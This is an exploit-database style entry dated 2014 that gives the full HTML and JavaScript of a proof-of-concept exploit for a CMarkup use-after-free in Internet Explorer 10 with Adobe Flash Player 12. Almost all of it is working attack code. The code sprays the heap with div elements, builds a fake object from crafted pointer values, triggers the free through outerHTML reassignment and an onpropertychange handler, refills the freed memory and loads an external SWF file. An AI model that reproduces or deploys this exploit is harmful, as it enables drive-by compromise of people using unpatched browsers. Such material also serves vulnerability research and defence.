Internet Explorer 10 & Adobe Flash Player (12.0.0.70, 12.0.0.77) - CMarkup Use-After-Free

2014-04-14 14:05:03



<html>
<head>
</head>
<body>

<script>

var g_arr = [];
var arrLen = 0x250;

function dword2data(dword)
{
var d = Number(dword).toString(16);
while (d.length < 8)
d = '0' + d;

return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}

function eXpl()
{
var a=0;

for (a=0; a < arrLen; a++) {
g_arr[a] = document.createElement('div');
}

// Build a new object
var b = dword2data(0x19fffff3);
while (b.length < 0x360)
{
// mov eax,dword ptr [esi+98h]
// ...
// mov eax,dword ptr [eax+8]
// and dword ptr [eax+2F0h],0FFFFFFBFh
if (b.length == (0x98 / 2))
{
b += dword2data(0x1a000010);
}
// mov ecx,dword ptr [edx+94h]
// mov eax,dword ptr [ecx+0Ch]
else if (b.length == (0x94 / 2))
{
b += dword2data(0x1a111111);
}
// mov eax,dword ptr [edx+15Ch]
// mov ecx,dword ptr [eax+edx*8]
else if (b.length == (0x15c / 2))
{
b += dword2data(0x42424242);
}
else
{
b += dword2data(0x19fffff3);
}
}

var d = b.substring(0, ( 0x340 - 2 )/2);

// trigger
try{
this.outerHTML=this.outerHTML
}
catch(e){

}

CollectGarbage();

// Replace freed object
for (a=0; a < arrLen; a++)
{
g_arr[a].title = d.substring(0, d.length);
}
}

// Trigger the vulnerability
function trigger()
{
var a = document.getElementsByTagName("script");
var b = a[0];
b.onpropertychange = eXpl;
var c = document.createElement('SELECT');
c = b.appendChild(c);
}

</script>
<embed src=AsXploit.swf width="10" height="10"></embed>
</body>
</html>

Fixes

No fixes

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